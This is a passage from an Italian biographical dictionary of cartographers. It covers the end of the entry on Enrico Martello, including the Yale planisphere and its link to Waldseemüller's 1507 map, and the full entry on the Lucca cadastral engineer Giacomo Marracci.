Fin qui abbiamo trattato degli aspetti della figura di Martello che si possono ricavare dall’esame delle sue principali raccolte cartografiche, già note, come si è detto, soprattutto grazie allo studio di Roberto Almagià del 1940. Ed è proprio in considerazione della importanza di queste raccolte, che diviene ancora più straordinaria la scoperta nel 1962 di un grande planisfero dovuto proprio alla mano del Martello. La scoperta è legata ad una donazione anonima di cui ha beneficiato l’Università di Yale a New Haven, nel Connecticut, subito rivelata al mondo degli studiosi di cartografia da parte del curatore della biblioteca, A. O. Victor, dopo che i due maggiori esperti, R. A. Skelton e R. Almagià (questi proprio nell’anno della sua morte), ne avevano assicurato l’autenticità. Quella che ora viene chiamata la «mappa di Yale» consiste di un unico planisfero, dipinto a tempera su undici fogli di carta incollati, delle ragguardevoli dimensioni di cm 108 x 190. Purtroppo lo stato di conservazione della mappa è pessimo, per cui i toponimi e i cartigli sono quasi illeggibili, ma si possono tuttavia ricavare le indicazioni principali anche dal confronto con gli altri planisferi conosciuti, tanto della produzione Martello-Rosselli, quanto di quella successiva, come vedremo.
La proiezione usata qui dal Martello è di nuovo la seconda di Tolomeo, ma ancora più estesa nel senso della longitudine, con i meridiani estremi ancora più incurvati. Inoltre questa volta sono tracciati l’Equatore e i Tropici, e soprattutto l’intera cornice della mappa è graduata (mentre la consueta cornice decorata è stata incollata tutto intorno all’insieme dei fogli): per cui si possono individuare esattamente i limiti dello spazio terrestre rappresentato, che risulta esteso da 85° N a 40° S, in latitudine, e da 5° W a 270° E in longitudine: è la prima volta che una mappa non tolemaica riporta i gradi di longitudine. I 50 gradi guadagnati sul margine orientale consentono di estendere ulteriormente la dimensione dell’ecumene, fino a 230° circa, e di collocare all’estremità della mappa, a latitudini temperate, la grande isola di Cipango, che finora compariva soltanto negli Isolari. Anche le altre isole poliane, a cominciare dalla Iava maior, hanno più spazio nell’oceano orientale e si possono allontanare dalla quarta penisola, rispetto alla versione del Rosselli. Fin qui le innovazioni sono tali da far ipotizzare che il grande planisfero sia stato prodotto dopo quelli fin qui considerati e possa essere considerato il coronamento del lavoro cominciato con l’Isolario Laurenziano. Però la forma terminale dell’Africa presenta di nuovo un enorme «piede» che si prolunga nell’oceano Indiano, che ricorda addirittura la prima versione del codice fiorentino, poi cancellata e corretta: così la punta orientale del continente africano si avvicina di nuovo alla longitudine della Taprobana, mentre il Capo vero e proprio viene posto a 45° australi come nel codice londinese. Molte caratteristiche della «mappa di Yale» rinviano ad un possibile confronto con un altro prodotto della cultura cartografica tedesca della fine del XV secolo: il globo di Martin Behaim del 1492, che prima di quest’ultima scoperta costituiva l’unica rappresentazione completa del mondo prima di Colombo. Di questo compatriota del Martello abbiamo perlomeno qualche notizia biografica: nasce a Norimberga verso il 1459, si trova come mercante a Lisbona nel 1484 e nel 1486 a Fayal nelle Azzorre, poi torna in patria fra il 1490 e il 1493, quando produce il celebre globo oggi conservato nel Germanisches National Museum di Norimberga; sembra che poi fosse un’altra volta a Lisbona, dove sarebbe morto (dimenticato, si dice) nel 1506 o 1507.
Si può avanzare l’ipotesi che Martello appartenesse alla stessa generazione di Behaim?
Le due raffigurazioni del mondo prima di Colombo, quella di Martello e quella di Behaim, sono analoghe ma non si corrispondono esattamente. Analoghe sono soprattutto le misure di longitudine, l’estensione dell’ecumene per 230° dalle Canarie alla Cina, con un tratto di oceano residuo pari a 130°, dei quali 75 nella mappa di Yale risultano fuori della cornice. Fra i due autori c’è una evidente comunanza di cultura dovuta alla frequentazione di ambienti che ci riportano tutti al triangolo Firenze-Lisbona-Norimberga e all’ultimo decennio del XV secolo, al quale appartiene sicuramente anche la mappa di Yale. E dopo? Che ne è di un cartografo che ha saputo offrire splendidi codici tolemaici, isolari riccamente illustrati e raffigurazioni innovative del mondo che si stava aprendo alle scoperte portoghesi e attendeva quelle colombiane? E che forse non era soltanto un «diligente compilatore» come lo aveva definito Almagià prima di conoscere la mappa di Yale?
Di certo il suo socio, o allievo, Francesco Rosselli, proseguirà sulla strada delle innovazioni cartografiche allontanandosi però dai modelli del Martello: nei primi anni del nuovo secolo lo troviamo intento a collocare nel mappamondo anche le isole e le terre d’oltre Atlantico. Per questo adotta nuove soluzioni, come la proiezione ovale e quella conica «a mantellino», entrambe estese per 360° di longitudine e capaci di render conto delle prime ipotesi riguardo alle scoperte colombiane e vespucciane. Dalla mappa di Yale non sembra derivare alcun modello prodotto in Italia del primo decennio del XVI secoolo. Non sappiamo del resto neppure se questa mappa sia stata prodotta in Italia o altrove: dal confronto con il globo di Behaim si può forse ricavare l’impressione che la forma distorta dell’Africa abbia a che fare con un ritorno di Martello in Germania.
Quel che è sicuro è che ci dobbiamo spostare nell’ambiente tedesco per trovare un documento che ha una corrispondenza precisa con la mappa di Martello, e forse questo è il principale indizio di un allontanamento del nostro cartografo da Firenze. La carta che riutilizza in blocco tutto il disegno della mappa di Yale, a cominciare dalla proiezione, è quella che Martin Waldseemüller (o Martinus Ilacomylus, 1470-1525 ca.) allega nel 1507 alla Cosmographiae introductio stampata presso il Collegium Vosagiensis di Saint Dié, in Lorena, dovuta alla collaborazione con l’altro umanista renano, Mathias Ringmann (Philesius), che come è noto comprende anche le Quatuor navigationes pseudo-vespucciane. La carta questa volta è ancora più grande, stampata in dodici fogli per un totale di cm 120x202. La proiezione omeòtera, cara al Martello, raggiunge le sue massime dimensioni per coprire tutti i 360° di longitudine (in latitudine l’estensione è la stessa della mappa di Yale).
Come ha osservato Ilaria Luzzana Caraci (1992), tutta la parte orientale della mappa, compresa la quarta penisola asiatica, riproduce esattamente i contenuti di quella di Yale, fin nei minimi particolari. L’Africa è completamente ridisegnata secondo le mappe portoghesi successive ai viaggi di Vasco de Gama e Pedro Alvarez Cabral, e anche qui sfonda la cornice per raggiungere i 45° S. Le maggiori novità stanno tuttavia nell’emisfero «vespucciano», come ci si poteva attendere: per la prima volta le diverse scoperte d’oltre Atlantico, almeno dai 45° N ai 35° S, sono unite in una sola massa continentale, nella cui parte meridionale, come si sa, compare per la prima volta anche il toponimo America, proposto già nel testo della Introductio. Da notare che il Rosselli, nei planisferi coevi a quello di Waldseemüller, adottava una soluzione radicalmente diversa, dove le terre dell’Atlantico settentrionale erano assegnate all’Asia orientale, la massa continentale meridionale poteva essere identificata come una Terra australis incognita e le isole di Colombo facevano parte di una ghirlanda che cominciando con le Canarie terminava con il Cipango.
Senza dilungarci nell’analisi di questo famosissimo documento cartografico, possiamo sicuramente affermare che si tratta di uno sviluppo ulteriore della mappa di Yale di Martello, e quindi del coronamento di tutto il lavoro iniziato con l’Isolario Laurenziano. Waldseemüller ha seguito il modello concettuale di Martello, che consisteva nel mettere a confronto la struttura tolemaica dell’ecumene con le novità derivanti dai viaggi di scoperta: portoghesi prima, vespucciani poi. L’attenzione del Martello per le regioni «nostri temporis […] a rege Portugalli nuper repertis», dimostrata fin dal grande Tolomeo Magliabechiano, è ora rivolta al Mundus Novus, per la cui conoscenza non c’è bisogno di affidarsi a canali più o meno clandestini, ma alle edizioni a stampa che circolano ormai per tutta Europa.
L’eventuale ritorno del Martello in Germania, con la produzione della mappa di Yale, potrebbe avere a che fare con il successo delle navigazioni attribuite a Vespucci presso l’ambiente umanistico renano, dal quale in definitiva lo stesso Martello poteva provenire. Queste ultime considerazioni mettono in nuova luce le ragioni del primo trasferimento del Nostro, dalla Germania a Firenze. Lo spunto viene da un commento di Sebastiano Gentile all’edizione della Geographia di Tolomeo del 1525 a Strasburgo, che comprende le Annotationes del Regiomontano: si tratta della prima edizione con la nuova versione latina di Willibald Pirkheimer, che rende finalmente ragione alle critiche che il grande astronomo di Konigsberg in Franconia aveva rivolto alla traduzione di Jacopo Angeli e ai lavori fiorentini di Niccolò Germanico. «Tra i progetti di pubblicazione del Regiomontano – osserva Gentile (1992, scheda 78) – vi era dunque quello di allestire una Mappa mundi, con tavole moderne della Germania, dell’Italia, della Spagna, della Francia e della Grecia. La tavola della Germania richiama immediatamente quella che la tradizione vuole venisse allestita da Nicola Cusano. Ma più in generale questo progetto cartografico – a cui il Regiomontano voleva unire delle descrizioni particolari “ex auctoribus plurimis” – fa pensare al Tolomeo e agli isolari di Enrico Martello, dove appunto le tavole moderne sono precedute da descrizioni tratte dalle più varie fonti».
Si può concludere che il Martello è il cartografo che più si avvicina al progetto del suo compatriota: è dopo la morte di questi, a Roma nel 1475, che il Nostro si trasferisce a Firenze, dove comincia a lavorare secondo la tradizione, per poi distaccarsene criticamente mantenendo tuttavia un profondo legame con l’opera di Tolomeo, anche in senso filologico, come avrebbe voluto Regiomontano. La revisione critica, ma fedele, del testo e del modello tolemaico rimane la caratteristica più originale di Martello, il filo conduttore che dal primo codice di lavoro della Laurenziana ci conduce fino all’invenzione dell’America da parte degli umanisti renani.

Produzione scientifica:

Produzione di cartografia manoscritta:
Geographia di Tolomeo, 1480 circa, con 27 carte (BAV, Vat. lat. 7289);
Isolario, post 1488, con carte nautiche e carte geografiche tra cui un mappamondo in proiezione omeòtera (BMLF, Laurenz. XXIX 25);
Geographia di Tolomeo, ante 1496, con le 27 carte tradizionali e alcune tavole moderne, come quelle della Germania (cc. 102v-103r), della penisola balcanica (cc. 120v-121r) e dell’Italia (cc. 110v-111r) (BNCF, Magliab. XIII 16);
Tre Isolari, post 1488, con carte nautiche e carte geografiche con nuova versione del mappamondo in proiezione omeòtera (Reijksuniversiteit di Leida, Vossianus lat., Fol. 23; British Library di Londra, Additional 15760; e Musée Condé di Chantilly presso Parigi, ms. 698);
Planisfero, fine del XV secolo (Università di Yale, New Haven, Connecticut).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Gentile, 1992, pp. 237-243; Almagià, 1940; Luzzana Caraci, 1992; Luzzana Caraci, 1976; Luzzana Caraci, 1978; BAV; BMLF; BNCF; RL; BLL; MCC.

Rimandi ad altre schede:

Autore della scheda: Claudio Greppi

Marracci, Giacomo

Giacomo Marracci
N. Lucca 1787
M. 24 dicembre 1853

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Perito Ingegnere Ponti e Argini di Lucca e Offizio Acque e Strade e Ispettore Nuovo Catasto

Biografia:
Nel 1810 venne ammesso alla Matricola dei Periti di Lucca, dipendente dalla magistratura dei Ponti e Argini. Successivamente, il 18 ottobre 1812, entrò come uno dei cinque Aspiranti Allievi nel Corpo degli Ingegneri della stessa deputazione dei Ponti e Argini, della quale il 10 giugno 1815 divenne Ingegnere di Sezione. Lo spessore scientifico del Marracci crebbe sempre più fino a ricevere, nel 1831, l’elezione a Ispettore delle Misure del Nuovo Catasto che svolse contemporaneamente, fino al 1834, alle mansioni confermate presso l’Ufficio di Acque e Strade – denominazione che aveva adottata la vecchia magistratura dei Ponti e Argini nel 1818 – di cui gli rimase a vita il titolo di Ingegnere.

Produzione scientifica:
Le operazioni di misurazione catastale lo impegnarono fino alla soppressione del Ducato lucchese, ma anche con il passaggio allo Stato granducale si individuò sempre nella sua figura la persona adatta a continuare la riforma catastale. Così, il 22 gennaio del 1850, gli venne nuovamente affidata la direzione dei lavori sul Nuovo Catasto con il titolo di Ispettore Onorario del Catasto del territorio lucchese. Gli studi e le misure per la realizzazione della nuova cartografia catastale furono portati avanti dal Marracci fino quasi al punto di morte: nel novembre del 1853 cedette la direzione operativa del Catasto a Nicodemo Morelli, rimanendo comunque a ricoprirne la carica rappresentativa; tale mansione fu esercitata per poche settimane perché l’ingegnere si spense la vigilia di Natale dello stesso anno.
L’opera di Giacomo Marracci è stata raccolta in un fondo speciale a lui dedicato (ASLu, Carte di Giacomo Marracci di cui è presente l’Indice della Raccolta delle Mappe nella filza n. 93) e nel quale sono conservati, oltre ai lavori riguardanti la catastazione, anche numerosi progetti che furono eseguiti dall’ingegnere: innanzitutto, la realizzazione della strada transappenninica per Modena attraverso l’Alpe delle Tre Potenze (1819-1847), per la quale in località Spedaletto progettò una Dogana, una Caserma e una Stazione di Posta, nonché la sistemazione del comprensorio dei Bagni di Lucca con la realizzazione del Ponte sul Camaione al Ponte a Serraglio (1826), gli interventi urbanistici al Bagno alla Villa (1830), i lavori alla strada del Piano di Corsena (1832), i restauri del Bagno delle Docce Basse (1833), e la costruzione del Tempietto circolare dell’Ospedale Demidoff sempre ai Bagni di Lucca.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bongi, 1872-1888; Caciagli, 1984; Gallo, 1993; Niccolai, 2004; ASLu, Carte di Giacomo Marracci.

Rimandi ad altre schede:

Autore della scheda: Giulio Tarchi